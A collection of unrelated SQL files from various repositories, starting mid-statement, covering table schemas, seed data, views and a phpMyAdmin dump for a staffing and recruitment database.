NULL, `chat_bot_id` int(11) NOT NULL, `score` float NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `temporary` -- INSERT INTO `temporary` (`temporary_id`, `chat_bot_id`, `score`) VALUES (1, 2, 66.6667); -- -- Indexes for dumped tables -- -- -- Indexes for table `chat_bot` -- ALTER TABLE `chat_bot` ADD PRIMARY KEY (`chat_bot_id`); -- -- Indexes for table `member` -- ALTER TABLE `member` ADD PRIMARY KEY (`member_id`); -- -- Indexes for table `paket` -- ALTER TABLE `paket` ADD PRIMARY KEY (`paket_id`); -- -- Indexes for table `pemesanan` -- ALTER TABLE `pemesanan` ADD PRIMARY KEY (`pemesanan_id`); -- -- Indexes for table `produk` -- ALTER TABLE `produk` ADD PRIMARY KEY (`produk_id`); -- -- Indexes for table `temporary` -- ALTER TABLE `temporary` ADD PRIMARY KEY (`temporary_id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `chat_bot` -- ALTER TABLE `chat_bot` MODIFY `chat_bot_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `member` -- ALTER TABLE `member` MODIFY `member_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `paket` -- ALTER TABLE `paket` MODIFY `paket_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT for table `pemesanan` -- ALTER TABLE `pemesanan` MODIFY `pemesanan_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `produk` -- ALTER TABLE `produk` MODIFY `produk_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `temporary` -- ALTER TABLE `temporary` MODIFY `temporary_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<reponame>dimMaryanto93/springboot2-webflux-r2dbc-example CREATE EXTENSION IF NOT EXISTS "uuid-ossp"; create table examples ( id character varying(64) not null primary key default uuid_generate_v4(), name character varying(100), age integer default 0, birthdate date not null default now(), balance decimal(14) not null default 0, created_date timestamp not null default now() ); insert into examples(id, name, age, birthdate, balance, created_date) values (uuid_generate_v4(), '<NAME>', 21, now(), 0, now()), (uuid_generate_v4(), '<NAME>', 22, now(), 0, now()), (uuid_generate_v4(), '<NAME>', 23, now(), 0, now()), (uuid_generate_v4(), '<NAME>', 24, now(), 0, now()), (uuid_generate_v4(), 'Andri', 25, now(), 0, now()), (uuid_generate_v4(), 'Gufron', 26, now(), 0, now());
<gh_stars>1-10 SELECT * FROM Persons ORDER BY Id;
<reponame>davidames/SQLPerfMonDW<filename>SQLPerfMonDB/dw/dataQueries/udf_PerfMonPerMinuteByKey.sql  CREATE FUNCTION [dbo].[udf_PerfMonPerMinuteByKey] ( @daysOld int, @MachineId smallint, @CounterId smallint, @CounterInstanceId smallint = null ) RETURNS TABLE AS RETURN ( SELECT d.DateToTheMinute, d.DateToTheHour, d.DateNoTime, d.DayOfWeek, d.Hour, ci.CounterInstanceName, avg(pc.Value) as AvgValue, max(pc.value) as MaxValue, min(pc.value) as MinValue FROM FactPerformanceCounters pc INNER JOIN DimDate d ON pc.DateId = d.DateId LEFT JOIN DimCounterInstance ci ON pc.CounterInstanceId = ci.CounterInstanceId WHERE d.DateNoTime > = DateAdd(day,-@daysOld,CAST(getdate() as Date)) AND pc.MachineId = @MachineId AND pc.CounterId = @CounterId AND ( @CounterInstanceId IS NULL OR pc.CounterInstanceId = @CounterInstanceId ) GROUP BY d.DateToTheMinute, d.DateToTheHour, d.DateNoTime, d.DayOfWeek, d.Hour, ci.CounterInstanceName )
<reponame>code-debug228/deleter-v2<filename>src/cql/tables/hashes.cql CREATE TABLE IF NOT EXISTS ?.hashes ( id text PRIMARY KEY, token_type text, access_token text, refresh_token text, expires_timestamp timestamp );
# Using the drshah schema use drshah; # Creating the MobileDevice Table CREATE TABLE MobileDevice ( MobileDeviceHash VARCHAR(100) PRIMARY KEY ); # Creating the TestResult Table CREATE TABLE TestResult ( TestHash VARCHAR(100) PRIMARY KEY, Test_Date DATE, Test_Result BOOLEAN ); # Creating the MobileDevice_TestResult Table CREATE TABLE MobileDevice_TestResult ( MobileDeviceHash VARCHAR(100) NOT NULL, TestHash VARCHAR(100) NOT NULL, PRIMARY KEY (MobileDeviceHash,TestHash), FOREIGN KEY (MobileDeviceHash) REFERENCES MobileDevice(MobileDeviceHash), FOREIGN KEY (TestHash) REFERENCES TestResult(TestHash) ); # Creating the Contact Table CREATE TABLE Contact ( ContactID INT PRIMARY KEY AUTO_INCREMENT, MobileDeviceHash VARCHAR(100) NOT NULL, ContactDeviceHash VARCHAR(100), Contact_Date DATE NOT NULL, Contact_Duration INT NOT NULL, Contact_Notified BOOLEAN, FOREIGN KEY (MobileDeviceHash) REFERENCES MobileDevice(MobileDeviceHash), FOREIGN KEY (ContactDeviceHash) REFERENCES MobileDevice(MobileDeviceHash) );
<reponame>Shuttl-Tech/antlr_psql -- file:privileges.sql ln:533 expect:true ALTER TYPE test8a ALTER ATTRIBUTE b TYPE testdomain1
<filename>app/ThirdParty/php-sql-parser/tests/expected/creator/left.sql SELECT * FROM (t1 LEFT JOIN t2 ON t1.a = t2.a) LEFT JOIN t3 ON t2.b = t3.b OR t2.b IS NULL
CREATE TABLE [dbo].[trnTable] ( [Id] INT NOT NULL PRIMARY KEY, [Name] NVARCHAR(50) NULL, [Flg] BIT NULL, [AmountOfMoney] MONEY NULL, [InsertDate] DATETIME NOT NULL, [UpdateDate] DATETIME NULL, )
<gh_stars>0 # --- Created by Slick DDL # To stop Slick DDL generation, remove this comment and start using Evolutions # --- !Ups create table "CAT" ("name" VARCHAR NOT NULL PRIMARY KEY,"color" VARCHAR NOT NULL); create table "TranslateFile" ("inPath" VARCHAR NOT NULL,"translatedText" VARCHAR NOT NULL,"editMode" VARCHAR NOT NULL,"deleted" BOOLEAN NOT NULL,"isRequired" BOOLEAN NOT NULL,"isVerified" BOOLEAN NOT NULL,"outPath" VARCHAR,"id" BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) PRIMARY KEY); # --- !Downs drop table "CAT"; drop table "TranslateFile";
<filename>javarch-persistence/src/test/resources/sqls/HibernateBaseRepository.sql DELETE FROM BLOG; DELETE FROM USER; -- 150 +/- SELECT COUNT(*) FROM PUBLIC.USUARIO; INSERT INTO USER(IDUSER,DATA_CRIACAO,DATA_ATUALIZACAO,ACTIVE, EMAIL, NOMEUSUARIO, SENHA) VALUES (1, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 0'), '03463@0'), (2, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 1'), '13463@2'), (3, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 2'), '23463@4'), (4, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 3'), '33463@6'), (5, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 4'), '43463@8'), (6, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 5'), '53463@10'), (7, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 6'), '63463@12'), (8, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 7'), '73463@14'), (9, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 8'), '83463@16'), (10, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 9'), '93463@18'), (11, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 10'), '103463@20'), (12, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 11'), '113463@22'), (13, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 12'), '123463@24'), (14, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 13'), '133463@26'), (15, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 14'), '143463@28'), (16, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 15'), '153463@30'), (17, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 16'), '163463@32'), (18, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 17'), '173463@34'), (19, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 18'), '183463@36'), (20, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 19'), '193463@38'), (21, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 20'), '203463@40'), (22, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 21'), '213463@42'), (23, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 22'), '223463@44'), (24, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 23'), '233463@46'), (25, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 24'), '243463@48'), (26, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 25'), '253463@50'), (27, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 26'), '263463@52'), (28, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 27'), '273463@54'), (29, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 28'), '283463@56'), (30, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 29'), '293463@58'), (31, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 30'), '303463@60'), (32, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 31'), '313463@62'), (33, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 32'), '323463@64'), (34, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 33'), '333463@66'), (35, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 34'), '343463@68'), (36, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 35'), '353463@70'), (37, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 36'), '363463@72'), (38, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 37'), '373463@74'), (39, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 38'), '383463@76'), (40, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 39'), '393463@78'), (41, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 40'), '403463@80'), (42, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 41'), '413463@82'), (43, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 42'), '423463@84'), (44, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 43'), '433463@86'), (45, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 44'), '443463@88'), (46, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 45'), '453463@90'), (47, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 46'), '463463@92'), (48, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 47'), '473463@94'), (49, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 48'), '483463@96'), (50, CURRENT_DATE(),NULL,TRUE,'<EMAIL>', STRINGDECODE('Nome Usu\u00e1rio 49'), '493463@98');
<filename>xml-UI/sample/conf-auth/management.sql<gh_stars>1-10 CREATE TABLE terminalinfo ( terminalno varchar(16) NOT NULL PRIMARY KEY, --终端号 terminalip varchar(16), --ip terminalstatus integer, --终端状态 terminalid varchar(16), --认证信息 terminaladdr varchar(128), --终端地址 terminalcall varchar(16) --问题联系人电话 ); CREATE INDEX IDX_HID_terminalinfo on terminalinfo (terminalno); CREATE TABLE terminaldevice ( terminalno varchar(16) NOT NULL PRIMARY KEY, --终端编号 printerstate integer, --打印机状态 inicstate integer, --ic刷卡器状态 keyboardstate integer, -- 小键盘状态 magstate integer, --词条刷卡器状态 CONSTRAINT fk_terminalinfo FOREIGN KEY (terminalno) REFERENCES terminalinfo(terminalno) ); CREATE INDEX IDX_HID_terminaldevice on terminaldevice (terminalno); ---- 设备状态 可以在注册时候带上来, 我给你更新进数据库。 ---- 显示有哪些终端 ---- 终端状态(是否login) ----- 能显示指定终端上外设状态。(以后发现外设不对会给管理员发短信提醒,发短信这个暂时不实现) ----- 最后能看每个终端的交易统计。(先考虑暂时不实现,以后方便再加) ----- 简单的权限,登录 admin CREATE TABLE terminalmgr ( name varchar(16) NOT NULL PRIMARY KEY, --管理用户名 credentials varchar(16) --密码 );
# --- First database schema # --- !Ups create sequence s_bar_id; create table bar ( id bigint DEFAULT nextval('s_bar_id'), name varchar(128) ); # --- !Downs drop table bar; drop sequence s_bar_id;
<filename>examples/simple/template.sql<gh_stars>1-10 USE employee_db; BEGIN DELETE FROM `employee_list` WHERE `id` = $id AND file_number <= $file_number; $data COMMIT;
alter table "source_collector"."source_notes" rename column "source_id" to "SourceId";
<reponame>desarrollo-bexandy-rodriguez/ares-app-zf2 CREATE VIEW `vista_disponibilidad_almacen` AS SELECT `disponibilidad_x_almacen`.`id`, `disponibilidad_x_almacen`.`almacen` AS `idalmacen`, `almacen`.`nombre`, `almacen`.`idtipoalmacen`, `tipo_almacen`.`nombre` AS `tipoalmacen`, `disponibilidad_x_almacen`.`producto` AS `idproducto`, `productos`.`nombre` AS `nombproducto`, `disponibilidad_x_almacen`.`cantidad`, COALESCE(`view_reservado`.`reservado`,0) AS `reservado`, (COALESCE(`disponibilidad_x_almacen`.`cantidad`,0) - COALESCE(`view_reservado`.`reservado`,0)) AS `disponible`, `productos`.`unidadmedidaalmacen` AS `idunidmedalmacen`, `unidmedalmacen`.`simbolo` AS `unidmed`, `productos`.`unidadmedidaventas` AS `idunidmedventas`, `unidmeddetal`.`simbolo` AS `unidmeddetal` FROM `disponibilidad_x_almacen` LEFT JOIN `almacen` ON `disponibilidad_x_almacen`.`almacen` = `almacen`.`id` LEFT JOIN `tipo_almacen` ON `almacen`.`idtipoalmacen` = `tipo_almacen`.`id` LEFT JOIN `productos` ON `disponibilidad_x_almacen`.`producto` = `productos`.`id` LEFT JOIN `unidad_medida` AS `unidmedalmacen` ON `productos`.`unidadmedidaalmacen` = `unidmedalmacen`.`id` LEFT JOIN `unidad_medida` AS `unidmeddetal` ON `productos`.`unidadmedidaventas` = `unidmeddetal`.`id` LEFT JOIN `view_reservado` ON `disponibilidad_x_almacen`.`producto` = `view_reservado`.`producto` AND `disponibilidad_x_almacen`.`almacen` = `view_reservado`.`idalmacen`
-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: 22 Mar 2017 pada 14.31 -- Versi Server: 10.1.9-MariaDB -- PHP Version: 5.6.15 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `twowinsistem-new` -- CREATE DATABASE IF NOT EXISTS `twowinsistem-new` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci; USE `twowinsistem-new`; -- -------------------------------------------------------- -- -- Struktur dari tabel `delivery` -- CREATE TABLE `delivery` ( `id` int(20) NOT NULL, `orderid` varchar(20) DEFAULT NULL, `kandidatid` varchar(20) DEFAULT NULL, `status` varchar(20) DEFAULT NULL, `flag_checklist` varchar(20) DEFAULT 'IN PROGRESS', `ktp` varchar(100) DEFAULT NULL, `lamaran` varchar(100) DEFAULT NULL, `ijazah` varchar(100) DEFAULT NULL, `transkrip` varchar(100) DEFAULT NULL, `kartukel` varchar(100) DEFAULT NULL, `suratkuning` varchar(100) DEFAULT NULL, `pengalamankerja` varchar(100) DEFAULT NULL, `flag_pembekalan` varchar(20) DEFAULT 'N', `pembekalan_id` varchar(20) DEFAULT NULL, `date_bekal` date DEFAULT NULL, `time_bekal` time DEFAULT NULL, `nama_bekal` varchar(100) DEFAULT NULL, `trainer_bekal` varchar(100) DEFAULT NULL, `keterangan` varchar(200) DEFAULT NULL, `flag_test` varchar(20) DEFAULT NULL, `nilai_test` int(11) DEFAULT NULL, `tgl_test` date DEFAULT NULL, `hasil_test` varchar(20) DEFAULT NULL, `periode_kontrak` varchar(20) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `kandidat` -- CREATE TABLE `kandidat` ( `id` int(10) NOT NULL, `kandidatid` varchar(10) NOT NULL, `namalengkap` varchar(100) DEFAULT NULL, `jenkel` varchar(20) DEFAULT NULL, `status` varchar(20) DEFAULT NULL, `tempatlahir` varchar(100) DEFAULT NULL, `tanggallahir` date DEFAULT NULL, `alamat` text, `kodepos` varchar(20) DEFAULT NULL, `notelp` varchar(50) DEFAULT NULL, `agama` varchar(20) DEFAULT NULL, `namasekolah` varchar(100) DEFAULT NULL, `jurusan` varchar(100) DEFAULT NULL, `namacomp1` varchar(50) DEFAULT NULL, `jabatan1` varchar(50) DEFAULT NULL, `lamabkrj1` varchar(20) DEFAULT NULL, `namacomp2` varchar(50) DEFAULT NULL, `jabatan2` varchar(50) DEFAULT NULL, `lamabkrj2` varchar(20) DEFAULT NULL, `namacomp3` varchar(50) DEFAULT NULL, `jabatan3` varchar(50) DEFAULT NULL, `lamabkrj3` varchar(20) DEFAULT NULL, `nmbpk` varchar(100) DEFAULT NULL, `nmibu` varchar(100) DEFAULT NULL, `pkrjortu` varchar(100) DEFAULT NULL, `nama_kerabat` varchar(50) DEFAULT NULL, `telp_kerabat` varchar(20) DEFAULT NULL, `msoffice` varchar(20) DEFAULT NULL, `photosh` varchar(20) DEFAULT NULL, `autoca` varchar(20) DEFAULT NULL, `others` varchar(50) DEFAULT NULL, `inggris` varchar(20) DEFAULT NULL, `mengemudi` varchar(20) DEFAULT NULL, `sim` varchar(20) DEFAULT NULL, `fotokandidat` varchar(100) DEFAULT NULL, `jabatan` varchar(100) DEFAULT NULL, `refferer` varchar(50) DEFAULT NULL, `date_add` date DEFAULT NULL, `flag_interview` varchar(20) DEFAULT 'N', `flag_member` varchar(20) DEFAULT 'N', `flag_aktif` varchar(20) DEFAULT 'Y', `reason_nonmember` varchar(200) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `konfigurasi` -- CREATE TABLE `konfigurasi` ( `id` int(10) NOT NULL, `items` varchar(20) DEFAULT NULL, `nilai` varchar(20) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `konfigurasi` -- INSERT INTO `konfigurasi` (`id`, `items`, `nilai`) VALUES (1, 'potongan-member', '50'); -- -------------------------------------------------------- -- -- Struktur dari tabel `kontrak` -- CREATE TABLE `kontrak` ( `id` int(10) NOT NULL, `mitraid` int(10) NOT NULL, `lampiran` varchar(100) DEFAULT NULL, `penjelasan` varchar(100) DEFAULT NULL, `tahun_mulai` varchar(20) DEFAULT NULL, `tahun_selesai` varchar(20) DEFAULT NULL, `status` varchar(20) DEFAULT NULL, `periode` varchar(20) DEFAULT NULL, `nokontrak` varchar(50) DEFAULT NULL, `ttd` varchar(50) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `mitra` -- CREATE TABLE `mitra` ( `id` int(12) NOT NULL, `mitraid` varchar(10) NOT NULL, `namamitra` varchar(50) DEFAULT NULL, `alamatmitra` varchar(255) DEFAULT NULL, `namapic` varchar(100) DEFAULT NULL, `jabatanpic` varchar(20) NOT NULL, `telppic` varchar(25) DEFAULT NULL, `emailpic` varchar(50) DEFAULT NULL, `deskripsi` varchar(255) DEFAULT NULL, `namapictwi` varchar(50) DEFAULT NULL, `emailpictwi` varchar(50) DEFAULT NULL, `status` varchar(10) DEFAULT NULL, `lampiran` varchar(255) DEFAULT NULL, `lampiran2` varchar(255) DEFAULT NULL, `lampiran3` varchar(255) DEFAULT NULL, `lampiran4` varchar(255) DEFAULT NULL, `lampiran5` varchar(255) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `mst_biaya` -- CREATE TABLE `mst_biaya` ( `id` int(10) NOT NULL, `jenis_bayar` varchar(20) DEFAULT NULL, `biaya` decimal(10,0) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `mst_biaya` -- INSERT INTO `mst_biaya` (`id`, `jenis_bayar`, `biaya`) VALUES (1, 'Security', '1000000'), (2, 'Operator', '1500000'), (3, 'Cleaning Service', '800000'), (4, 'Borongan', '500000'), (5, 'Skill', '0'); -- -------------------------------------------------------- -- -- Struktur dari tabel `mst_jabatan` -- CREATE TABLE `mst_jabatan` ( `id` int(20) NOT NULL, `nmjabatan` varchar(100) DEFAULT NULL, `keterangan` varchar(100) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `mst_jabatan` -- INSERT INTO `mst_jabatan` (`id`, `nmjabatan`, `keterangan`) VALUES (1, 'Cleaning Service', NULL), (2, 'Operator', NULL), (3, 'Security', NULL); -- -------------------------------------------------------- -- -- Struktur dari tabel `order` -- CREATE TABLE `order` ( `id` int(20) NOT NULL, `mitraid` int(20) NOT NULL, `namapictwo` varchar(50) DEFAULT NULL, `kategori` varchar(20) DEFAULT NULL, `posisi` varchar(20) DEFAULT NULL, `qty` int(11) DEFAULT NULL, `spesifikasi` varchar(100) DEFAULT NULL, `periode` varchar(20) DEFAULT NULL, `sat_periode` varchar(20) DEFAULT NULL, `tgl_mulai` date DEFAULT NULL, `tgl_selesai` date DEFAULT NULL, `nilai_kontrak` varchar(20) DEFAULT NULL, `bpjs` varchar(100) DEFAULT NULL, `gaji` varchar(20) DEFAULT NULL, `thr` varchar(20) DEFAULT NULL, `lampiran` varchar(100) DEFAULT NULL, `status` varchar(20) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `pembayaran` -- CREATE TABLE `pembayaran` ( `id` int(11) NOT NULL, `kandidatid` varchar(20) DEFAULT NULL, `tglbayar` date DEFAULT NULL, `nominal` decimal(10,0) DEFAULT NULL, `picbayar` varchar(100) DEFAULT NULL, `jenisbayar` varchar(100) DEFAULT NULL, `viabayar` varchar(100) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `pembekalan` -- CREATE TABLE `pembekalan` ( `id` varchar(20) NOT NULL, `delivery_id` int(20) DEFAULT NULL, `date_bekal` date DEFAULT NULL, `time_bekal` time DEFAULT NULL, `nama_bekal` varchar(100) DEFAULT NULL, `trainer_bekal` varchar(100) DEFAULT NULL, `keterangan` varchar(200) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `report_test` -- CREATE TABLE `report_test` ( `id` int(20) NOT NULL, `kandidatid` int(20) NOT NULL, `name_test` varchar(50) DEFAULT NULL, `result_test` varchar(20) DEFAULT NULL, `keterangan` varchar(100) DEFAULT NULL, `flag_aktif` varchar(20) NOT NULL DEFAULT 'Y' ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `tran_jabatan` -- CREATE TABLE `tran_jabatan` ( `jabatanid` int(11) DEFAULT NULL, `kandidatid` int(11) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Struktur dari tabel `users` -- CREATE TABLE `users` ( `id` int(10) NOT NULL, `username` varchar(45) NOT NULL, `password` varchar(45) NOT NULL, `auth_key` varchar(32) NOT NULL, `password_reset_token` varchar(255) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data untuk tabel `users` -- INSERT INTO `users` (`id`, `username`, `password`, `auth_key`, `password_reset_token`) VALUES (2, 'admin', '<PASSWORD>', '12345', '12345678'); -- -- Indexes for dumped tables -- -- -- Indexes for table `delivery` -- ALTER TABLE `delivery` ADD PRIMARY KEY (`id`); -- -- Indexes for table `kandidat` -- ALTER TABLE `kandidat` ADD PRIMARY KEY (`id`); -- -- Indexes for table `konfigurasi` -- ALTER TABLE `konfigurasi` ADD PRIMARY KEY (`id`); -- -- Indexes for table `kontrak` -- ALTER TABLE `kontrak` ADD PRIMARY KEY (`id`); -- -- Indexes for table `mitra` -- ALTER TABLE `mitra` ADD PRIMARY KEY (`id`,`mitraid`); -- -- Indexes for table `mst_biaya` -- ALTER TABLE `mst_biaya` ADD PRIMARY KEY (`id`); -- -- Indexes for table `mst_jabatan` -- ALTER TABLE `mst_jabatan` ADD PRIMARY KEY (`id`); -- -- Indexes for table `order` -- ALTER TABLE `order` ADD PRIMARY KEY (`id`); -- -- Indexes for table `pembayaran` -- ALTER TABLE `pembayaran` ADD PRIMARY KEY (`id`); -- -- Indexes for table `pembekalan` -- ALTER TABLE `pembekalan` ADD PRIMARY KEY (`id`); -- -- Indexes for table `report_test` -- ALTER TABLE `report_test` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `delivery` -- ALTER TABLE `delivery` MODIFY `id` int(20) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `kandidat` -- ALTER TABLE `kandidat` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `konfigurasi` -- ALTER TABLE `konfigurasi` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `kontrak` -- ALTER TABLE `kontrak` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `mitra` -- ALTER TABLE `mitra` MODIFY `id` int(12) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `mst_biaya` -- ALTER TABLE `mst_biaya` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; -- -- AUTO_INCREMENT for table `mst_jabatan` -- ALTER TABLE `mst_jabatan` MODIFY `id` int(20) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `order` -- ALTER TABLE `order` MODIFY `id` int(20) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `pembayaran` -- ALTER TABLE `pembayaran` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `report_test` -- ALTER TABLE `report_test` MODIFY `id` int(20) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
